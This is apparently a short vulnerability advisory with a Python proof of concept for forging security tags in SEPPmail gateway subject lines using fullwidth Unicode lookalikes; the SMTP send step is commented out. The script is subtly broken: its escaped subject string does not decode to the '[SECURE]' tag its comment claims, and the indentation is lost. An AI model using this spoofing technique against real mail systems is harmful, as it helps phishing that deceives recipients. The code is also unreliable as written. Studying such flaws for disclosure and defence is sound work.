SEPPmail Secure Email Gateway before version 15.0.3 allows an attacker to bypass subject sanitization and forge security tags using Unicode lookalike characters.
The following code is for security research and authorized testing only.
python
# Proof of Concept: Unicode Homoglyph Attack
# This script demonstrates how to craft a subject line that bypasses basic filtering.
import smtplib
from email.mime.text import MIMEText
# Normal subject might be: [SECURE] Confidential Data
# Attacker uses lookalike characters (e.g., Cyrillic 'а' instead of Latin 'a')
# or Full-width characters.
# Example using Fullwidth Latin characters for visual spoofing
# [ＳＥＣＵＲＥ] -> \uFF33\uFF25\uFF23\uFF35\uFF32\uFF25
spoofed_subject = "\uFF33\uFF25\uFF23\uFF35\uFF32\uFF25\uFF29\uFF34\uFF29\uFF3C\uFF20\uFF20\uFF20] Invoice Payment"
def send_spoofed_email():
msg = MIMEText("This is a test email attempting to spoof the security tag.")
msg['Subject'] = spoofed_subject
msg['From'] = '[email protected]'
msg['To'] = '[email protected]'
# Note: This is a conceptual PoC. Replace with actual SMTP server details if testing in a lab.
print(f"Sending email with subject: {msg['Subject']}")
# with smtplib.SMTP('smtp.example.com', 587) as server:
# server.login('user', 'password')
# server.send_message(msg)
if __name__ == "__main__":
send_spoofed_email()